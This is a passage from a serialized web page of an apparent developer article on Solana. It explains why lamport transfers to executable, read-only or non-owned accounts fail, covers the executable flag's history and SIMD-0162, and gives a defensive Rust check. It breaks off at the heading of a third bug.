"props":72413,"children":72414},{"style":374},[72415],{"type":28,"value":72416}," // An account not owned by the program cannot have its balance decrease\n",{"type":23,"tag":314,"props":72418,"children":72419},{"class":316,"line":1141},[72420,72424,72428,72432,72436,72441,72445,72450,72455,72459,72463,72467,72472],{"type":23,"tag":314,"props":72421,"children":72422},{"style":2284},[72423],{"type":28,"value":11527},{"type":23,"tag":314,"props":72425,"children":72426},{"style":354},[72427],{"type":28,"value":12112},{"type":23,"tag":314,"props":72429,"children":72430},{"style":321},[72431],{"type":28,"value":12961},{"type":23,"tag":314,"props":72433,"children":72434},{"style":354},[72435],{"type":28,"value":282},{"type":23,"tag":314,"props":72437,"children":72438},{"style":332},[72439],{"type":28,"value":72440},"is_owned_by_current_program",{"type":23,"tag":314,"props":72442,"children":72443},{"style":338},[72444],{"type":28,"value":13290},{"type":23,"tag":314,"props":72446,"children":72447},{"style":354},[72448],{"type":28,"value":72449},"&&",{"type":23,"tag":314,"props":72451,"children":72452},{"style":360},[72453],{"type":28,"value":72454}," lamports",{"type":23,"tag":314,"props":72456,"children":72457},{"style":354},[72458],{"type":28,"value":7971},{"type":23,"tag":314,"props":72460,"children":72461},{"style":321},[72462],{"type":28,"value":13044},{"type":23,"tag":314,"props":72464,"children":72465},{"style":354},[72466],{"type":28,"value":282},{"type":23,"tag":314,"props":72468,"children":72469},{"style":332},[72470],{"type":28,"value":72471},"get_lamports",{"type":23,"tag":314,"props":72473,"children":72474},{"style":338},[72475],{"type":28,"value":14977},{"type":23,"tag":314,"props":72477,"children":72478},{"class":316,"line":1173},[72479,72483,72487,72491,72495,72499,72504],{"type":23,"tag":314,"props":72480,"children":72481},{"style":2284},[72482],{"type":28,"value":14985},{"type":23,"tag":314,"props":72484,"children":72485},{"style":2674},[72486],{"type":28,"value":14990},{"type":23,"tag":314,"props":72488,"children":72489},{"style":338},[72490],{"type":28,"value":341},{"type":23,"tag":314,"props":72492,"children":72493},{"style":2674},[72494],{"type":28,"value":14999},{"type":23,"tag":314,"props":72496,"children":72497},{"style":354},[72498],{"type":28,"value":2737},{"type":23,"tag":314,"props":72500,"children":72501},{"style":2674},[72502],{"type":28,"value":72503},"ExternalAccountLamportSpend",{"type":23,"tag":314,"props":72505,"children":72506},{"style":338},[72507],{"type":28,"value":1025},{"type":23,"tag":314,"props":72509,"children":72510},{"class":316,"line":1208},[72511],{"type":23,"tag":314,"props":72512,"children":72513},{"style":338},[72514],{"type":28,"value":2610},{"type":23,"tag":314,"props":72516,"children":72517},{"class":316,"line":1216},[72518],{"type":23,"tag":314,"props":72519,"children":72520},{"style":374},[72521],{"type":28,"value":72522}," // The balance of read-only may not change\n",{"type":23,"tag":314,"props":72524,"children":72525},{"class":316,"line":1301},[72526,72530,72534,72538,72542,72547],{"type":23,"tag":314,"props":72527,"children":72528},{"style":2284},[72529],{"type":28,"value":11527},{"type":23,"tag":314,"props":72531,"children":72532},{"style":354},[72533],{"type":28,"value":12112},{"type":23,"tag":314,"props":72535,"children":72536},{"style":321},[72537],{"type":28,"value":12961},{"type":23,"tag":314,"props":72539,"children":72540},{"style":354},[72541],{"type":28,"value":282},{"type":23,"tag":314,"props":72543,"children":72544},{"style":332},[72545],{"type":28,"value":72546},"is_writable",{"type":23,"tag":314,"props":72548,"children":72549},{"style":338},[72550],{"type":28,"value":14977},{"type":23,"tag":314,"props":72552,"children":72553},{"class":316,"line":1343},[72554,72558,72562,72566,72570,72574,72579],{"type":23,"tag":314,"props":72555,"children":72556},{"style":2284},[72557],{"type":28,"value":14985},{"type":23,"tag":314,"props":72559,"children":72560},{"style":2674},[72561],{"type":28,"value":14990},{"type":23,"tag":314,"props":72563,"children":72564},{"style":338},[72565],{"type":28,"value":341},{"type":23,"tag":314,"props":72567,"children":72568},{"style":2674},[72569],{"type":28,"value":14999},{"type":23,"tag":314,"props":72571,"children":72572},{"style":354},[72573],{"type":28,"value":2737},{"type":23,"tag":314,"props":72575,"children":72576},{"style":2674},[72577],{"type":28,"value":72578},"ReadonlyLamportChange",{"type":23,"tag":314,"props":72580,"children":72581},{"style":338},[72582],{"type":28,"value":1025},{"type":23,"tag":314,"props":72584,"children":72585},{"class":316,"line":1351},[72586],{"type":23,"tag":314,"props":72587,"children":72588},{"style":338},[72589],{"type":28,"value":2610},{"type":23,"tag":314,"props":72591,"children":72592},{"class":316,"line":1387},[72593],{"type":23,"tag":314,"props":72594,"children":72595},{"style":374},[72596],{"type":28,"value":72597}," // The balance of executable accounts may not change\n",{"type":23,"tag":314,"props":72599,"children":72600},{"class":316,"line":1422},[72601,72605,72609,72613,72618],{"type":23,"tag":314,"props":72602,"children":72603},{"style":2284},[72604],{"type":28,"value":11527},{"type":23,"tag":314,"props":72606,"children":72607},{"style":321},[72608],{"type":28,"value":13044},{"type":23,"tag":314,"props":72610,"children":72611},{"style":354},[72612],{"type":28,"value":282},{"type":23,"tag":314,"props":72614,"children":72615},{"style":332},[72616],{"type":28,"value":72617},"is_executable_internal",{"type":23,"tag":314,"props":72619,"children":72620},{"style":338},[72621],{"type":28,"value":14977},{"type":23,"tag":314,"props":72623,"children":72624},{"class":316,"line":1430},[72625,72629,72633,72637,72641,72645,72650],{"type":23,"tag":314,"props":72626,"children":72627},{"style":2284},[72628],{"type":28,"value":14985},{"type":23,"tag":314,"props":72630,"children":72631},{"style":2674},[72632],{"type":28,"value":14990},{"type":23,"tag":314,"props":72634,"children":72635},{"style":338},[72636],{"type":28,"value":341},{"type":23,"tag":314,"props":72638,"children":72639},{"style":2674},[72640],{"type":28,"value":14999},{"type":23,"tag":314,"props":72642,"children":72643},{"style":354},[72644],{"type":28,"value":2737},{"type":23,"tag":314,"props":72646,"children":72647},{"style":2674},[72648],{"type":28,"value":72649},"ExecutableLamportChange",{"type":23,"tag":314,"props":72651,"children":72652},{"style":338},[72653],{"type":28,"value":1025},{"type":23,"tag":314,"props":72655,"children":72656},{"class":316,"line":1452},[72657],{"type":23,"tag":314,"props":72658,"children":72659},{"style":338},[72660],{"type":28,"value":2610},{"type":23,"tag":314,"props":72662,"children":72663},{"class":316,"line":1497},[72664],{"type":23,"tag":314,"props":72665,"children":72666},{"style":374},[72667],{"type":28,"value":72668}," // don't touch the account if the lamports do not change\n",{"type":23,"tag":314,"props":72670,"children":72671},{"class":316,"line":1539},[72672,72676,72680,72684,72688,72692,72696,72700],{"type":23,"tag":314,"props":72673,"children":72674},{"style":2284},[72675],{"type":28,"value":11527},{"type":23,"tag":314,"props":72677,"children":72678},{"style":321},[72679],{"type":28,"value":13044},{"type":23,"tag":314,"props":72681,"children":72682},{"style":354},[72683],{"type":28,"value":282},{"type":23,"tag":314,"props":72685,"children":72686},{"style":332},[72687],{"type":28,"value":72471},{"type":23,"tag":314,"props":72689,"children":72690},{"style":338},[72691],{"type":28,"value":13290},{"type":23,"tag":314,"props":72693,"children":72694},{"style":354},[72695],{"type":28,"value":7828},{"type":23,"tag":314,"props":72697,"children":72698},{"style":360},[72699],{"type":28,"value":72454},{"type":23,"tag":314,"props":72701,"children":72702},{"style":338},[72703],{"type":28,"value":1449},{"type":23,"tag":314,"props":72705,"children":72706},{"class":316,"line":1548},[72707,72711,72715],{"type":23,"tag":314,"props":72708,"children":72709},{"style":2284},[72710],{"type":28,"value":14985},{"type":23,"tag":314,"props":72712,"children":72713},{"style":2674},[72714],{"type":28,"value":42186},{"type":23,"tag":314,"props":72716,"children":72717},{"style":338},[72718],{"type":28,"value":72719},"(());\n",{"type":23,"tag":314,"props":72721,"children":72722},{"class":316,"line":1584},[72723],{"type":23,"tag":314,"props":72724,"children":72725},{"style":338},[72726],{"type":28,"value":2610},{"type":23,"tag":314,"props":72728,"children":72729},{"class":316,"line":1617},[72730,72734,72738,72743,72747,72751],{"type":23,"tag":314,"props":72731,"children":72732},{"style":321},[72733],{"type":28,"value":20023},{"type":23,"tag":314,"props":72735,"children":72736},{"style":354},[72737],{"type":28,"value":282},{"type":23,"tag":314,"props":72739,"children":72740},{"style":332},[72741],{"type":28,"value":72742},"touch",{"type":23,"tag":314,"props":72744,"children":72745},{"style":338},[72746],{"type":28,"value":13126},{"type":23,"tag":314,"props":72748,"children":72749},{"style":354},[72750],{"type":28,"value":2409},{"type":23,"tag":314,"props":72752,"children":72753},{"style":338},[72754],{"type":28,"value":2278},{"type":23,"tag":314,"props":72756,"children":72757},{"class":316,"line":1625},[72758,72762,72766,72770,72774,72778,72782,72786],{"type":23,"tag":314,"props":72759,"children":72760},{"style":321},[72761],{"type":28,"value":20023},{"type":23,"tag":314,"props":72763,"children":72764},{"style":354},[72765],{"type":28,"value":282},{"type":23,"tag":314,"props":72767,"children":72768},{"style":338},[72769],{"type":28,"value":12201},{"type":23,"tag":314,"props":72771,"children":72772},{"style":354},[72773],{"type":28,"value":282},{"type":23,"tag":314,"props":72775,"children":72776},{"style":332},[72777],{"type":28,"value":72285},{"type":23,"tag":314,"props":72779,"children":72780},{"style":338},[72781],{"type":28,"value":341},{"type":23,"tag":314,"props":72783,"children":72784},{"style":360},[72785],{"type":28,"value":14753},{"type":23,"tag":314,"props":72787,"children":72788},{"style":338},[72789],{"type":28,"value":1025},{"type":23,"tag":314,"props":72791,"children":72792},{"class":316,"line":1660},[72793,72797],{"type":23,"tag":314,"props":72794,"children":72795},{"style":2674},[72796],{"type":28,"value":13580},{"type":23,"tag":314,"props":72798,"children":72799},{"style":338},[72800],{"type":28,"value":13585},{"type":23,"tag":314,"props":72802,"children":72803},{"class":316,"line":1708},[72804],{"type":23,"tag":314,"props":72805,"children":72806},{"style":338},[72807],{"type":28,"value":386},{"type":23,"tag":314,"props":72809,"children":72810},{"class":316,"line":1743},[72811],{"type":23,"tag":314,"props":72812,"children":72813},{"emptyLinePlaceholder":18},[72814],{"type":28,"value":1088},{"type":23,"tag":314,"props":72816,"children":72817},{"class":316,"line":1751},[72818],{"type":23,"tag":314,"props":72819,"children":72820},{"style":374},[72821],{"type":28,"value":72822},"/// Feature gating to remove `is_executable` flag related checks\n",{"type":23,"tag":314,"props":72824,"children":72825},{"class":316,"line":1791},[72826,72830,72834,72838],{"type":23,"tag":314,"props":72827,"children":72828},{"style":338},[72829],{"type":28,"value":72323},{"type":23,"tag":314,"props":72831,"children":72832},{"style":354},[72833],{"type":28,"value":1102},{"type":23,"tag":314,"props":72835,"children":72836},{"style":1245},[72837],{"type":28,"value":72332},{"type":23,"tag":314,"props":72839,"children":72840},{"style":338},[72841],{"type":28,"value":19846},{"type":23,"tag":314,"props":72843,"children":72844},{"class":316,"line":1805},[72845],{"type":23,"tag":314,"props":72846,"children":72847},{"style":338},[72848],{"type":28,"value":72849},"#[inline]\n",{"type":23,"tag":314,"props":72851,"children":72852},{"class":316,"line":1818},[72853,72857,72862,72866,72870,72874,72878,72882,72886],{"type":23,"tag":314,"props":72854,"children":72855},{"style":321},[72856],{"type":28,"value":19504},{"type":23,"tag":314,"props":72858,"children":72859},{"style":332},[72860],{"type":28,"value":72861}," is_executable_internal",{"type":23,"tag":314,"props":72863,"children":72864},{"style":338},[72865],{"type":28,"value":341},{"type":23,"tag":314,"props":72867,"children":72868},{"style":354},[72869],{"type":28,"value":1833},{"type":23,"tag":314,"props":72871,"children":72872},{"style":321},[72873],{"type":28,"value":12961},{"type":23,"tag":314,"props":72875,"children":72876},{"style":338},[72877],{"type":28,"value":2343},{"type":23,"tag":314,"props":72879,"children":72880},{"style":354},[72881],{"type":28,"value":1015},{"type":23,"tag":314,"props":72883,"children":72884},{"style":2674},[72885],{"type":28,"value":11298},{"type":23,"tag":314,"props":72887,"children":72888},{"style":338},[72889],{"type":28,"value":1449},{"type":23,"tag":314,"props":72891,"children":72892},{"class":316,"line":1873},[72893,72897],{"type":23,"tag":314,"props":72894,"children":72895},{"style":354},[72896],{"type":28,"value":20207},{"type":23,"tag":314,"props":72898,"children":72899},{"style":321},[72900],{"type":28,"value":72901},"self\n",{"type":23,"tag":314,"props":72903,"children":72904},{"class":316,"line":1891},[72905,72909],{"type":23,"tag":314,"props":72906,"children":72907},{"style":354},[72908],{"type":28,"value":67513},{"type":23,"tag":314,"props":72910,"children":72911},{"style":338},[72912],{"type":28,"value":72913},"transaction_context\n",{"type":23,"tag":314,"props":72915,"children":72916},{"class":316,"line":1899},[72917,72921],{"type":23,"tag":314,"props":72918,"children":72919},{"style":354},[72920],{"type":28,"value":67513},{"type":23,"tag":314,"props":72922,"children":72923},{"style":338},[72924],{"type":28,"value":72925},"remove_accounts_executable_flag_checks\n",{"type":23,"tag":314,"props":72927,"children":72928},{"class":316,"line":1944},[72929,72933,72937,72941,72945,72949,72953],{"type":23,"tag":314,"props":72930,"children":72931},{"style":354},[72932],{"type":28,"value":42050},{"type":23,"tag":314,"props":72934,"children":72935},{"style":321},[72936],{"type":28,"value":13044},{"type":23,"tag":314,"props":72938,"children":72939},{"style":354},[72940],{"type":28,"value":282},{"type":23,"tag":314,"props":72942,"children":72943},{"style":338},[72944],{"type":28,"value":12201},{"type":23,"tag":314,"props":72946,"children":72947},{"style":354},[72948],{"type":28,"value":282},{"type":23,"tag":314,"props":72950,"children":72951},{"style":332},[72952],{"type":28,"value":14897},{"type":23,"tag":314,"props":72954,"children":72955},{"style":338},[72956],{"type":28,"value":6990},{"type":23,"tag":314,"props":72958,"children":72959},{"class":316,"line":2008},[72960],{"type":23,"tag":314,"props":72961,"children":72962},{"style":338},[72963],{"type":28,"value":386},{"type":23,"tag":24,"props":72965,"children":72966},{},[72967],{"type":28,"value":72968},"Turns out: even writable, rent-exempt accounts can still reject lamport transfers.",{"type":23,"tag":24,"props":72970,"children":72971},{},[72972,72974,72979],{"type":28,"value":72973},"Specifically, ",{"type":23,"tag":721,"props":72975,"children":72976},{},[72977],{"type":28,"value":72978},"executable accounts",{"type":28,"value":72980}," cannot receive or send lamports — the runtime treats them as immutable.",{"type":23,"tag":18130,"props":72982,"children":72984},{"id":72983},"sidebar-whats-the-executable-flag-anyway",[72985],{"type":28,"value":72986},"Sidebar: What's the executable Flag Anyway?",{"type":23,"tag":24,"props":72988,"children":72989},{},[72990,72991,72996],{"type":28,"value":92},{"type":23,"tag":94,"props":72992,"children":72994},{"className":72993},[],[72995],{"type":28,"value":14897},{"type":28,"value":72997}," flag is a legacy mechanism marking accounts that hold program code. Historically, an account with this flag was assumed to either contain immutable BPF bytecode or was a proxy to a built-in program, and therefore it made sense to consider it read-only for performance reasons.",{"type":23,"tag":24,"props":72999,"children":73000},{},[73001,73003,73008],{"type":28,"value":73002},"This behavior became problematic with the introduction of the ",{"type":23,"tag":721,"props":73004,"children":73005},{},[73006],{"type":28,"value":73007},"Upgradeable BPF Loader",{"type":28,"value":73009},". A workaround was used to maintain compatibility with the existing runtime logic. The program data containing bpf bytecode was split into a separate account, ProgramData, with the program account now only containing an address pointing to the ProgramData account:",{"type":23,"tag":304,"props":73011,"children":73013},{"className":2234,"code":73012,"language":2233,"meta":7,"style":7},"Program {\n /// Address of the ProgramData account.\n programdata_address: Pubkey,\n},\nProgramData {\n /// Slot that the program was last modified.\n slot: u64,\n /// Address of the Program's upgrade authority.\n upgrade_authority_address: Option\u003CPubkey>,\n // The raw program data follows this serialized structure in the\n // account's data.\n},\n",[73014],{"type":23,"tag":94,"props":73015,"children":73016},{"__ignoreMap":7},[73017,73029,73037,73057,73064,73076,73084,73104,73112,73140,73148,73156],{"type":23,"tag":314,"props":73018,"children":73019},{"class":316,"line":317},[73020,73025],{"type":23,"tag":314,"props":73021,"children":73022},{"style":2674},[73023],{"type":28,"value":73024},"Program",{"type":23,"tag":314,"props":73026,"children":73027},{"style":338},[73028],{"type":28,"value":1449},{"type":23,"tag":314,"props":73030,"children":73031},{"class":316,"line":370},[73032],{"type":23,"tag":314,"props":73033,"children":73034},{"style":374},[73035],{"type":28,"value":73036}," /// Address of the ProgramData account.\n",{"type":23,"tag":314,"props":73038,"children":73039},{"class":316,"line":380},[73040,73045,73049,73053],{"type":23,"tag":314,"props":73041,"children":73042},{"style":360},[73043],{"type":28,"value":73044}," programdata_address",{"type":23,"tag":314,"props":73046,"children":73047},{"style":354},[73048],{"type":28,"value":3746},{"type":23,"tag":314,"props":73050,"children":73051},{"style":2674},[73052],{"type":28,"value":20094},{"type":23,"tag":314,"props":73054,"children":73055},{"style":338},[73056],{"type":28,"value":1870},{"type":23,"tag":314,"props":73058,"children":73059},{"class":316,"line":1091},[73060],{"type":23,"tag":314,"props":73061,"children":73062},{"style":338},[73063],{"type":28,"value":1494},{"type":23,"tag":314,"props":73065,"children":73066},{"class":316,"line":1141},[73067,73072],{"type":23,"tag":314,"props":73068,"children":73069},{"style":2674},[73070],{"type":28,"value":73071},"ProgramData",{"type":23,"tag":314,"props":73073,"children":73074},{"style":338},[73075],{"type":28,"value":1449},{"type":23,"tag":314,"props":73077,"children":73078},{"class":316,"line":1173},[73079],{"type":23,"tag":314,"props":73080,"children":73081},{"style":374},[73082],{"type":28,"value":73083}," /// Slot that the program was last modified.\n",{"type":23,"tag":314,"props":73085,"children":73086},{"class":316,"line":1208},[73087,73092,73096,73100],{"type":23,"tag":314,"props":73088,"children":73089},{"style":360},[73090],{"type":28,"value":73091}," slot",{"type":23,"tag":314,"props":73093,"children":73094},{"style":354},[73095],{"type":28,"value":3746},{"type":23,"tag":314,"props":73097,"children":73098},{"style":2674},[73099],{"type":28,"value":5114},{"type":23,"tag":314,"props":73101,"children":73102},{"style":338},[73103],{"type":28,"value":1870},{"type":23,"tag":314,"props":73105,"children":73106},{"class":316,"line":1216},[73107],{"type":23,"tag":314,"props":73108,"children":73109},{"style":374},[73110],{"type":28,"value":73111}," /// Address of the Program's upgrade authority.\n",{"type":23,"tag":314,"props":73113,"children":73114},{"class":316,"line":1301},[73115,73120,73124,73128,73132,73136],{"type":23,"tag":314,"props":73116,"children":73117},{"style":360},[73118],{"type":28,"value":73119}," upgrade_authority_address",{"type":23,"tag":314,"props":73121,"children":73122},{"style":354},[73123],{"type":28,"value":3746},{"type":23,"tag":314,"props":73125,"children":73126},{"style":2674},[73127],{"type":28,"value":26892},{"type":23,"tag":314,"props":73129,"children":73130},{"style":338},[73131],{"type":28,"value":5060},{"type":23,"tag":314,"props":73133,"children":73134},{"style":2674},[73135],{"type":28,"value":20635},{"type":23,"tag":314,"props":73137,"children":73138},{"style":338},[73139],{"type":28,"value":5393},{"type":23,"tag":314,"props":73141,"children":73142},{"class":316,"line":1343},[73143],{"type":23,"tag":314,"props":73144,"children":73145},{"style":374},[73146],{"type":28,"value":73147}," // The raw program data follows this serialized structure in the\n",{"type":23,"tag":314,"props":73149,"children":73150},{"class":316,"line":1351},[73151],{"type":23,"tag":314,"props":73152,"children":73153},{"style":374},[73154],{"type":28,"value":73155}," // account's data.\n",{"type":23,"tag":314,"props":73157,"children":73158},{"class":316,"line":1387},[73159],{"type":23,"tag":314,"props":73160,"children":73161},{"style":338},[73162],{"type":28,"value":1494},{"type":23,"tag":24,"props":73164,"children":73165},{},[73166,73168,73175],{"type":28,"value":73167},"Eventually, the executable flag will be removed entirely as proposed in ",{"type":23,"tag":31,"props":73169,"children":73172},{"href":73170,"rel":73171},"https://github.com/solana-foundation/solana-improvement-documents/blob/main/proposals/0162-remove-accounts-executable-flag-checks.md",[35],[73173],{"type":28,"value":73174},"SIMD-0162",{"type":28,"value":73176},". The reasoning is simple: an account's owner and its content are sufficient to determine if it's a valid program — the executable flag is redundant.",{"type":23,"tag":24,"props":73178,"children":73179},{},[73180,73182,73187,73189,73194],{"type":28,"value":73181},"This change is also a ",{"type":23,"tag":721,"props":73183,"children":73184},{},[73185],{"type":28,"value":73186},"hard requirement for supporting the new loader-v4",{"type":28,"value":73188},". Unlike the upgradable loader, which relies on a separate ",{"type":23,"tag":94,"props":73190,"children":73192},{"className":73191},[],[73193],{"type":28,"value":73071},{"type":28,"value":73195}," proxy account, loader-v4 stores all program data directly in the program account itself.",{"type":23,"tag":24,"props":73197,"children":73198},{},[73199,73201,73208,73210,73215],{"type":28,"value":73200},"As a result, it becomes impossible to modify the account's size after deployment, or to ",{"type":23,"tag":31,"props":73202,"children":73205},{"href":73203,"rel":73204},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/programs/bpf_loader/src/lib.rs#L1411",[35],[73206],{"type":28,"value":73207},"migrate",{"type":28,"value":73209}," from the upgradable loader to loader-v4 — without hitting the ",{"type":23,"tag":94,"props":73211,"children":73213},{"className":73212},[],[73214],{"type":28,"value":72649},{"type":28,"value":73216}," restriction.",{"type":23,"tag":18130,"props":73218,"children":73220},{"id":73219},"fix-2-reject-program-accounts",[73221],{"type":28,"value":73222},"Fix 2: Reject Program Accounts",{"type":23,"tag":24,"props":73224,"children":73225},{},[73226],{"type":28,"value":73227},"To avoid this footgun, let’s explicitly skip any executable account:",{"type":23,"tag":304,"props":73229,"children":73231},{"className":2234,"code":73230,"language":2233,"meta":7,"style":7},"pub fn can_transfer_lamports(account: &AccountInfo, lamports: u64) -> Result\u003Cbool> {\nfn is_program(account: &AccountInfo) -> bool {\n account.executable\n}\nlet rent = Rent::get()?;\nlet balance_after = account.lamports() + lamports;\nOk(account.is_writable\n && rent.is_exempt(balance_after, account.data_len())\n && !is_program(account))\n}\n",[73232],{"type":23,"tag":94,"props":73233,"children":73234},{"__ignoreMap":7},[73235,73311,73359,73375,73382,73421,73465,73489,73538,73566],{"type":23,"tag":314,"props":73236,"children":73237},{"class":316,"line":317},[73238,73242,73246,73251,73255,73259,73263,73267,73271,73275,73279,73283,73287,73291,73295,73299,73303,73307],{"type":23,"tag":314,"props":73239,"children":73240},{"style":321},[73241],{"type":28,"value":12938},{"type":23,"tag":314,"props":73243,"children":73244},{"style":321},[73245],{"type":28,"value":12943},{"type":23,"tag":314,"props":73247,"children":73248},{"style":332},[73249],{"type":28,"value":73250}," can_transfer_lamports",{"type":23,"tag":314,"props":73252,"children":73253},{"style":338},[73254],{"type":28,"value":341},{"type":23,"tag":314,"props":73256,"children":73257},{"style":360},[73258],{"type":28,"value":12201},{"type":23,"tag":314,"props":73260,"children":73261},{"style":354},[73262],{"type":28,"value":3746},{"type":23,"tag":314,"props":73264,"children":73265},{"style":354},[73266],{"type":28,"value":1968},{"type":23,"tag":314,"props":73268,"children":73269},{"style":2674},[73270],{"type":28,"value":14181},{"type":23,"tag":314,"props":73272,"children":73273},{"style":338},[73274],{"type":28,"value":778},{"type":23,"tag":314,"props":73276,"children":73277},{"style":360},[73278],{"type":28,"value":14753},{"type":23,"tag":314,"props":73280,"children":73281},{"style":354},[73282],{"type":28,"value":3746},{"type":23,"tag":314,"props":73284,"children":73285},{"style":2674},[73286],{"type":28,"value":5114},{"type":23,"tag":314,"props":73288,"children":73289},{"style":338},[73290],{"type":28,"value":2343},{"type":23,"tag":314,"props":73292,"children":73293},{"style":354},[73294],{"type":28,"value":1015},{"type":23,"tag":314,"props":73296,"children":73297},{"style":2674},[73298],{"type":28,"value":13009},{"type":23,"tag":314,"props":73300,"children":73301},{"style":338},[73302],{"type":28,"value":5060},{"type":23,"tag":314,"props":73304,"children":73305},{"style":2674},[73306],{"type":28,"value":28934},{"type":23,"tag":314,"props":73308,"children":73309},{"style":338},[73310],{"type":28,"value":6536},{"type":23,"tag":314,"props":73312,"children":73313},{"class":316,"line":370},[73314,73318,73323,73327,73331,73335,73339,73343,73347,73351,73355],{"type":23,"tag":314,"props":73315,"children":73316},{"style":321},[73317],{"type":28,"value":19504},{"type":23,"tag":314,"props":73319,"children":73320},{"style":332},[73321],{"type":28,"value":73322}," is_program",{"type":23,"tag":314,"props":73324,"children":73325},{"style":338},[73326],{"type":28,"value":341},{"type":23,"tag":314,"props":73328,"children":73329},{"style":360},[73330],{"type":28,"value":12201},{"type":23,"tag":314,"props":73332,"children":73333},{"style":354},[73334],{"type":28,"value":3746},{"type":23,"tag":314,"props":73336,"children":73337},{"style":354},[73338],{"type":28,"value":1968},{"type":23,"tag":314,"props":73340,"children":73341},{"style":2674},[73342],{"type":28,"value":14181},{"type":23,"tag":314,"props":73344,"children":73345},{"style":338},[73346],{"type":28,"value":2343},{"type":23,"tag":314,"props":73348,"children":73349},{"style":354},[73350],{"type":28,"value":1015},{"type":23,"tag":314,"props":73352,"children":73353},{"style":2674},[73354],{"type":28,"value":11298},{"type":23,"tag":314,"props":73356,"children":73357},{"style":338},[73358],{"type":28,"value":1449},{"type":23,"tag":314,"props":73360,"children":73361},{"class":316,"line":380},[73362,73366,73370],{"type":23,"tag":314,"props":73363,"children":73364},{"style":360},[73365],{"type":28,"value":24417},{"type":23,"tag":314,"props":73367,"children":73368},{"style":354},[73369],{"type":28,"value":282},{"type":23,"tag":314,"props":73371,"children":73372},{"style":338},[73373],{"type":28,"value":73374},"executable\n",{"type":23,"tag":314,"props":73376,"children":73377},{"class":316,"line":1091},[73378],{"type":23,"tag":314,"props":73379,"children":73380},{"style":338},[73381],{"type":28,"value":386},{"type":23,"tag":314,"props":73383,"children":73384},{"class":316,"line":1141},[73385,73389,73393,73397,73401,73405,73409,73413,73417],{"type":23,"tag":314,"props":73386,"children":73387},{"style":321},[73388],{"type":28,"value":11035},{"type":23,"tag":314,"props":73390,"children":73391},{"style":360},[73392],{"type":28,"value":72143},{"type":23,"tag":314,"props":73394,"children":73395},{"style":354},[73396],{"type":28,"value":1237},{"type":23,"tag":314,"props":73398,"children":73399},{"style":2674},[73400],{"type":28,"value":42721},{"type":23,"tag":314,"props":73402,"children":73403},{"style":354},[73404],{"type":28,"value":2737},{"type":23,"tag":314,"props":73406,"children":73407},{"style":332},[73408],{"type":28,"value":15593},{"type":23,"tag":314,"props":73410,"children":73411},{"style":338},[73412],{"type":28,"value":13126},{"type":23,"tag":314,"props":73414,"children":73415},{"style":354},[73416],{"type":28,"value":2409},{"type":23,"tag":314,"props":73418,"children":73419},{"style":338},[73420],{"type":28,"value":2278},{"type":23,"tag":314,"props":73422,"children":73423},{"class":316,"line":1173},[73424,73428,73433,73437,73441,73445,73449,73453,73457,73461],{"type":23,"tag":314,"props":73425,"children":73426},{"style":321},[73427],{"type":28,"value":11035},{"type":23,"tag":314,"props":73429,"children":73430},{"style":360},[73431],{"type":28,"value":73432}," balance_after",{"type":23,"tag":314,"props":73434,"children":73435},{"style":354},[73436],{"type":28,"value":1237},{"type":23,"tag":314,"props":73438,"children":73439},{"style":360},[73440],{"type":28,"value":4737},{"type":23,"tag":314,"props":73442,"children":73443},{"style":354},[73444],{"type":28,"value":282},{"type":23,"tag":314,"props":73446,"children":73447},{"style":332},[73448],{"type":28,"value":14753},{"type":23,"tag":314,"props":73450,"children":73451},{"style":338},[73452],{"type":28,"value":13290},{"type":23,"tag":314,"props":73454,"children":73455},{"style":354},[73456],{"type":28,"value":1130},{"type":23,"tag":314,"props":73458,"children":73459},{"style":360},[73460],{"type":28,"value":72454},{"type":23,"tag":314,"props":73462,"children":73463},{"style":338},[73464],{"type":28,"value":2278},{"type":23,"tag":314,"props":73466,"children":73467},{"class":316,"line":1208},[73468,73472,73476,73480,73484],{"type":23,"tag":314,"props":73469,"children":73470},{"style":2674},[73471],{"type":28,"value":19727},{"type":23,"tag":314,"props":73473,"children":73474},{"style":338},[73475],{"type":28,"value":341},{"type":23,"tag":314,"props":73477,"children":73478},{"style":360},[73479],{"type":28,"value":12201},{"type":23,"tag":314,"props":73481,"children":73482},{"style":354},[73483],{"type":28,"value":282},{"type":23,"tag":314,"props":73485,"children":73486},{"style":338},[73487],{"type":28,"value":73488},"is_writable\n",{"type":23,"tag":314,"props":73490,"children":73491},{"class":316,"line":1216},[73492,73496,73500,73504,73509,73513,73518,73522,73526,73530,73534],{"type":23,"tag":314,"props":73493,"children":73494},{"style":354},[73495],{"type":28,"value":14863},{"type":23,"tag":314,"props":73497,"children":73498},{"style":360},[73499],{"type":28,"value":72143},{"type":23,"tag":314,"props":73501,"children":73502},{"style":354},[73503],{"type":28,"value":282},{"type":23,"tag":314,"props":73505,"children":73506},{"style":332},[73507],{"type":28,"value":73508},"is_exempt",{"type":23,"tag":314,"props":73510,"children":73511},{"style":338},[73512],{"type":28,"value":341},{"type":23,"tag":314,"props":73514,"children":73515},{"style":360},[73516],{"type":28,"value":73517},"balance_after",{"type":23,"tag":314,"props":73519,"children":73520},{"style":338},[73521],{"type":28,"value":778},{"type":23,"tag":314,"props":73523,"children":73524},{"style":360},[73525],{"type":28,"value":12201},{"type":23,"tag":314,"props":73527,"children":73528},{"style":354},[73529],{"type":28,"value":282},{"type":23,"tag":314,"props":73531,"children":73532},{"style":332},[73533],{"type":28,"value":13053},{"type":23,"tag":314,"props":73535,"children":73536},{"style":338},[73537],{"type":28,"value":14902},{"type":23,"tag":314,"props":73539,"children":73540},{"class":316,"line":1301},[73541,73545,73549,73554,73558,73562],{"type":23,"tag":314,"props":73542,"children":73543},{"style":354},[73544],{"type":28,"value":14863},{"type":23,"tag":314,"props":73546,"children":73547},{"style":354},[73548],{"type":28,"value":12112},{"type":23,"tag":314,"props":73550,"children":73551},{"style":332},[73552],{"type":28,"value":73553},"is_program",{"type":23,"tag":314,"props":73555,"children":73556},{"style":338},[73557],{"type":28,"value":341},{"type":23,"tag":314,"props":73559,"children":73560},{"style":360},[73561],{"type":28,"value":12201},{"type":23,"tag":314,"props":73563,"children":73564},{"style":338},[73565],{"type":28,"value":18949},{"type":23,"tag":314,"props":73567,"children":73568},{"class":316,"line":1343},[73569],{"type":23,"tag":314,"props":73570,"children":73571},{"style":338},[73572],{"type":28,"value":386},{"type":23,"tag":24,"props":73574,"children":73575},{},[73576],{"type":28,"value":73577},"Now we’re safe...right?",{"type":23,"tag":837,"props":73579,"children":73581},{"id":73580},"bug-3-the-write-demotion-trap",[73582],{"type":28,"value":73583},"Bug 3: The Write-Demotion 